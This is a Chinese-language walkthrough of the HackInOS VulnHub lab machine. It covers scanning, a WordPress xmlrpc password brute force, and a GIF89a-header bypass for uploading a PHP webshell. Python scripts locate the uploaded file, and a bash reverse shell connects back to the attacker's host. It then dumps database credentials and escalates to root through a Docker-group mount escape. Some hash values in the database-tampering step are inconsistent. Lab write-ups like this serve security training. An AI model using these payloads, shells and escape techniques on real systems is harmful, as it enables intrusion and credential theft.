环境搭建
HackInOS是一个非常经典的渗透测试实战靶机,主要考察 WordPress 漏洞利用、上传绕过以及提权等技巧。可以通过以下链接直接访问下载页面:
- VulnHub 详情页: HackInOS: 1 – VulnHub
- 直接下载链接 (OVA 格式): HackInOS.ova
攻击复现
内网主机探测
当前靶机IP地址未知,需进行内网主机探测。使用 arp-scan 扫描同网段主机,点此查看arp-scan 工具的工作原理与实践。
┌──(root㉿kali)-[~]
└─$ arp-scan --interface=eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:46:e9:3f, IPv4: 192.168.31.152
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1 04:67:61:bc:85:68 (Unknown)
192.168.31.6 e4:c7:67:b4:57:f8 (Unknown)
192.168.31.109 a8:0c:63:c9:48:96 HUAWEI TECHNOLOGIES CO.,LTD
192.168.31.129 a6:f1:fa:6d:a8:6e (Unknown: locally administered)
192.168.31.206 00:0c:29:65:8e:dd VMware, Inc.
发现内网中存在VMware主机:192.168.31.206。
目标探测
端口扫描与服务识别
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default" 192.168.31.206
# 扫描结果如下
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)
| 256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
|_ 256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
8000/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Blog – Just another WordPress site
|_http-generator: WordPress 5.0.3
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 2 disallowed entries
|_/upload.php /uploads
MAC Address: 00:0C:29:65:8E:DD (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
发现目标主机开放端口 22 与 8000 ,WordPress 5.0.3 发布于 2019 年初,存在多个已知漏洞。robots.txt 暴露了 /upload.php 和 /uploads。这非常可疑,因为标准的 WordPress 不会直接在根目录放 upload.php。
扫描WordPress
运行 wpscan 来识别插件漏洞和枚举用户:
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.31.206:8000 -e u,vp,vt
[+] URL: http://192.168.31.206:8000/ [192.168.31.206]
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.25 (Debian)
| - X-Powered-By: PHP/7.2.15
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://192.168.31.206:8000/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.31.206:8000/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress readme found: http://192.168.31.206:8000/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.0.3 identified (Insecure, released on 2019-01-09).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.31.206:8000/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0.3'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.31.206:8000/, Match: 'WordPress 5.0.3'
[+] handsome_container
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
没有扫描到太多有用的信息,扫描发现 XML-RPC 已开启,在 WordPress 渗透中,xmlrpc.php 通常被用来进行高效的密码爆破(比起传统的登录表单,它可以通过 system.multicall 在一次请求中尝试数百个密码)。除此之外还发现了有一个叫 handsome_container 的用户,尝试暴力破解一下:
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.31.206:8000/ \
--password-attack xmlrpc \
-t 50 \
-U handsome_container \
-P /usr/share/wordlists/rockyou.txt
--password-attack xmlrpc:强制使用 XML-RPC 批量验证模式
-t 50:开启 50 个并发线程
(大概率跑不出结果)
目录扫描
┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.31.206:8000/
Target: http://192.168.31.206:8000/
[04:26:59] Starting:
...
[04:27:14] 301 - 0B - /index.php -> http://192.168.31.206:8000/
[04:27:14] 301 - 0B - /index.php/login/ -> http://192.168.31.206:8000/login/
[04:27:15] 200 - 7KB - /license.txt
[04:27:21] 200 - 3KB - /readme.html
[04:27:21] 200 - 52B - /robots.txt
[04:27:22] 403 - 304B - /server-status
[04:27:22] 403 - 305B - /server-status/
[04:27:26] 200 - 260B - /upload.php
[04:27:26] 301 - 325B - /uploads -> http://192.168.31.206:8000/uploads/
[04:27:26] 403 - 299B - /uploads/
[04:27:28] 301 - 326B - /wp-admin -> http://192.168.31.206:8000/wp-admin/
[04:27:28] 200 - 0B - /wp-config.php
[04:27:28] 400 - 1B - /wp-admin/admin-ajax.php
[04:27:28] 302 - 0B - /wp-admin/ -> http://localhost:8000/wp-login.php?redirect_to=http%3A%2F%2F192.168.31.206%3A8000%2Fwp-admin%2F&reauth=1
[04:27:28] 500 - 3KB - /wp-admin/setup-config.php
[04:27:28] 200 - 537B - /wp-admin/install.php
[04:27:28] 301 - 328B - /wp-content -> http://192.168.31.206:8000/wp-content/
[04:27:28] 200 - 0B - /wp-content/
[04:27:28] 403 - 329B - /wp-content/plugins/akismet/akismet.php
[04:27:28] 403 - 327B - /wp-content/plugins/akismet/admin.php
[04:27:28] 200 - 184B - /wp-content/plugins/hello.php
[04:27:28] 301 - 329B - /wp-includes -> http://192.168.31.206:8000/wp-includes/
[04:27:28] 403 - 303B - /wp-includes/
[04:27:28] 200 - 0B - /wp-cron.php
[04:27:28] 200 - 187B - /wp-includes/rss-functions.php
[04:27:28] 302 - 0B - /wp-signup.php -> http://localhost:8000/wp-login.php?action=register
[04:27:28] 200 - 1KB - /wp-login.php
[04:27:28] 405 - 42B - /xmlrpc.php
Task Completed
/upload.php:响应大小只有 260 字节,这通常意味着它要么是一个非常简单的 HTML 表单,要么是一个没有任何 UI 的后端处理脚本。
文件上传
结合扫描的结果,首先访问 upload.php,点击提交按钮什么也不上传,发现提示:
Warning: getimagesize(): Filename cannot be empty in /var/www/html/upload.php on line 25

由此可知uploads文件夹位于 /var/www/html/ 目录下,并使用 getimagesize 函数对于图片信息做了获取。
创建一个测试文件 test.txt,内容随便写。然后尝试通过 POST 请求发送:
┌──(kali㉿kali)-[~]
└─$ curl -F "file=@test.txt" http://192.168.31.206:8000/upload.php
<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
<br>
<b>Select image : </b>
<input type="file" name="file" id="file" style="border: solid;">
<input type="submit" value="Submit" name="submit">
</form>
</div>
<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->
</body>
</html>
请求返回的内容上发现有一条注释:<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint --> ,由此查看GitHub上的项目,分析源码可知以下几点:
$rand_number = rand(1,100); //生成1-100之间的随机数
$target_dir = "uploads/";
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
//对上传的文件名添加随机数并使用md5加密处理
/*****分割线*****/
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
$uploadOk = 1;
}else{
$uploadOk = 0;
echo ":)";
}
//网页对MIME类型进行检测
//校验方式是校验文件内容(实际校验的是文件开头几个标志文件类型的字节,PNG格式为0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式为GIF98)
//利用文件头标志判断文件类型:https://blog.mythsman.com/post/5d301940976abc05b345469f/
欺骗 getimagesize() 最简单的方法是伪造一个 GIF 文件头:
┌──(kali㉿kali)-[~]
└─$ # 使用 GIF89a 绕过 getimagesize 检查
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php
点击上传可知文件被传输到 uploads/目录:

写一个 python 脚本快速寻找上传的一句话木马:
import hashlib
import requests
url = "http://192.168.31.206:8000/uploads/"
filename = "shell.php" # 确保这和你上传时的文件名完全一致
print("[*] Starting to brute force the MD5 filename...")
for i in range(1, 101):
# 模拟 PHP 的 md5(basename($_FILES["file"]["name"].$rand_number))
data = filename + str(i)
md5_hash = hashlib.md5(data.encode()).hexdigest()
full_url = f"{url}{md5_hash}.php"
try:
response = requests.get(full_url, timeout=2)
if response.status_code == 200:
print(f"\n[+] Found! Your shell is at: {full_url}")
print(f"[+] Execution test (id): {full_url}?cmd=id")
# 尝试执行一次 id 命令看看回显
res = requests.get(f"{full_url}?cmd=id")
print(f"[+] Result: {res.text.strip()}")
break
except requests.RequestException:
pass
else:
print("\n[-] Failed to find the shell.")
查找成功:
┌──(kali㉿kali)-[~]
└─$ python find_shell.py
[*] Starting to brute force the MD5 filename...
[+] Found! Your shell is at: http://192.168.31.206:8000/uploads/fd8d525b37b885ba28022a55bca14e55.php
[+] Execution test (id): http://192.168.31.206:8000/uploads/fd8d525b37b885ba28022a55bca14e55.php?cmd=id
[+] Result: GIF89auid=33(www-data) gid=33(www-data) groups=33(www-data)
但当你过一会刷新一下后就发现上传的一句话木马已经失效了,存活时间不超过10秒,推测作者为了防止 uploads 目录被垃圾文件撑爆,或者模拟真实环境中的 EDR/杀毒脚本,通常会挂一个 Cron Job(定时任务),每隔十几秒甚至几秒钟就清空一次上传目录。
这里可以重新上传一个大马形成稳定后门,也可以直接反弹 Shell。
反弹 Shell
重新准备一个反弹木马:
GIF89a
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.31.152/4444 0>&1'");
?>
本地开启监听:
┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...
手动上传木马后运行 Python 脚本触发反弹:
import hashlib
import requests
from concurrent.futures import ThreadPoolExecutor
# 配置信息
TARGET_URL_DIR = "http://192.168.31.206:8000/uploads/"
UPLOADED_FILENAME = "rev.php" # 浏览器选择的文件名
def check_and_trigger(md5_hash):
full_url = f"{TARGET_URL_DIR}{md5_hash}.php"
try:
# 使用 head 请求减少流量,如果文件存在则立即用 get 触发
resp = requests.head(full_url, timeout=1)
if resp.status_code == 200:
requests.get(full_url, timeout=1)
return True
except:
pass
return False
def main():
print(f"[*] 正在为文件 '{UPLOADED_FILENAME}' 生成 1-100 的 MD5 路径...")
# 预先生成 100 个可能的 MD5 值
possible_hashes = []
for i in range(1, 101):
data = UPLOADED_FILENAME + str(i)
md5_hash = hashlib.md5(data.encode()).hexdigest()
possible_hashes.append(md5_hash)
print("[*] 脚本已就绪。请在浏览器点击 'Submit' 上传,然后立即按回车键开始扫描...")
# 使用线程池进行高速并发扫描
with ThreadPoolExecutor(max_workers=20) as executor:
results = list(executor.map(check_and_trigger, possible_hashes))
if not any(results):
print("\n[-] 未能触发木马。可能原因:文件名不符、上传失败或删档速度过快。")
if __name__ == "__main__":
main()
反弹 Shell 成功:

用户 www-data
收集信息
反弹 Shell 成功后尝试收集目标的核心信息:
www-data@1afdd1f6b82c:/var/www/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@1afdd1f6b82c:/var/www/html/uploads$ uname -a
Linux 1afdd1f6b82c 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 08:54:04 UTC 2018 x86_64 GNU/Linux
www-data@1afdd1f6b82c:/var/www/html/uploads$ sudo -l
bash: sudo: command not found
从主机名 1afdd1f6b82c 可以看出这很可能是一个容器,当前用户身份为 www-data 。sudo 命令没找到,但这在 Docker 容器环境中非常常见。
收集 WordPress 配置信息:
www-data@1afdd1f6b82c:/var/www/html$ cat /var/www/html/wp-config.php
<?php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');
/** MySQL hostname */
define('DB_HOST', 'db:3306');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
// ** 略 ** //
拿到的数据库凭据是 wordpress / wordpress,由于主机名定义为 DB_HOST: db:3306,这再次证实了你正处于一个 Docker 容器集群中(使用了 Docker Compose 链接)。
升级交互式 Shell
现在的 Shell 只是一个通过 nc 获得的简单管道(Simple Pipe),它不是真正的 交互式 TTY,这时候执行 su 等命令行会报错,需要升级 Shell:
www-data@1afdd1f6b82c:/var/www/html/uploads$ su
su: must be run from a terminal
www-data@1afdd1f6b82c:/var/www/html/uploads$ python3 -c 'import pty; pty.spawn("/bin/bash")'
按下键盘上的 Ctrl + Z,会看到 Shell 回到了你本地的物理机终端,设置原始终端模式并带回前台,在设置环境变量。现在的 Shell 功能就完整了:
www-data@1afdd1f6b82c:/var/www/html/uploads$ ^Z
zsh: suspended nc -lvvp 4444
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued nc -lvvp 4444
www-data@1afdd1f6b82c:/var/www/html/uploads$ export TERM=xterm
数据库信息提取
获取用户ID
由于当前在容器内,可以使用 mysql 客户端连接到 db 主机:
www-data@1afdd1f6b82c:/var/www/html/uploads$ mysql -h db -u wordpress -p
MySQL [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| host_ssh_cred |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
13 rows in set (0.00 sec)
MySQL [wordpress]> select user_login, user_pass from wp_users;
+--------------------+------------------------------------+
| user_login | user_pass |
+--------------------+------------------------------------+
| Handsome_Container | $P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0 |
+--------------------+------------------------------------+
1 row in set (0.01 sec)
MySQL [wordpress]> SELECT * FROM host_ssh_cred;
+-------------------+----------------------------------+
| id | pw |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.01 sec)
发现了一个非标准表 host_ssh_cred,在标准的 WordPress 安装中,绝对不会有这张表。这显然是靶机作者留下的线索,发现了一个名为 hummingbirdscyber 的 id。除此之外还发现了名为 Handsome_Container 的 id。
破解密码
其中 hummingbirdscyber 的 Hash(e10adc3949ba59abbe56e057f20f883e)是 123456 的标准 MD5 值,可以去著名的在线破解网站粘贴这个字符串,它们会瞬间从数据库里检索出结果,完全不需要计算。
而 Handsome_Container 的 Hash($P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0)是典型的 phpass(WordPress 默认使用的哈希算法)。
将 Hash 内容保存到文档中: Handsome_Container:$P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0,使用 John the Ripper 破解:
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
经过测试并没有爆破出密码来,可以直接篡改数据库:
┌──(kali㉿kali)-[~]
└─$ echo -n "password123" | md5sum
42c811da5d5b4bc6d497ffa98491e38
MySQL [wordpress]> UPDATE wp_users SET user_pass='482c811da5d5b4bc6d497ffa98438' WHERE user_login='Handsome_Container';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
(这个其实利用不上)
用户 hummingbirdscyber
其他路暂时走不通,先登录 hummingbirdscyber,尝试提权。
┌──(kali㉿kali)-[~]
└─$ ssh hummingbirdscyber@192.168.31.206
hummingbirdscyber@192.168.31.206's password:
hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)
收集信息
hummingbirdscyber@vulnvm:~$ sudo -l
[sudo] password for hummingbirdscyber:
Sorry, user hummingbirdscyber may not run sudo on vulnvm.
hummingbirdscyber@vulnvm:~$ groups
hummingbirdscyber adm cdrom dip plugdev lpadmin sambashare docker
在 Linux 中,如果一个普通用户在 docker 组中,这通常等同于拥有了 Root 权限。因为 Docker 守护进程是以 Root 运行的,可以通过挂载宿主机的根目录到容器内,从而实现对整个宿主机系统的读写。
Docker 挂载逃逸
我们可以启动一个容器,并将宿主机的根目录 (/) 挂载到容器内部的某个目录(如 /mnt)。这样,在容器里对 /mnt 的任何操作,都会直接反映在宿主机上。如果提示找不到 alpine 镜像,可以尝试使用本地已有的镜像(比如之前的 WordPress 镜像):
hummingbirdscyber@vulnvm:~$ docker run -v /:/mnt -it alpine chroot /mnt
Unable to find image 'alpine:latest' locally
hummingbirdscyber@vulnvm:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
wordpress latest 69e1f4ea543a 6 years ago 420MB
mysql 5.7 e47e309f72c8 6 years ago 372MB
ubuntu latest 47b19964fb50 6 years ago 88.1MB
hummingbirdscyber@vulnvm:~$ docker run -v /:/mnt -it wordpress chroot /mnt
# id
uid=0(root) gid=0(root) groups=0(root)
# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@3cc711f05eff:/#
获取Flag
root@3cc711f05eff:/# cd /root
root@3cc711f05eff:~# ls
flag
root@3cc711f05eff:~# cat flag
Congratulations!
-ys-
/mms.
+NMd+`
`/so/hMMNy-
`+mMMMMMMd/ ./oso/-
`/yNMMMMMMMMNo` .` +-
.oyhMMMMMMMMMMN/. o.
`:+osysyhddhs` `o`
.:oyyhshMMMh. .:
`-//:. `:sshdh: `
-so:.
.yy.
:odh
+o--d`
/+. .d`
-/` `y`
`:` `/
`. ` 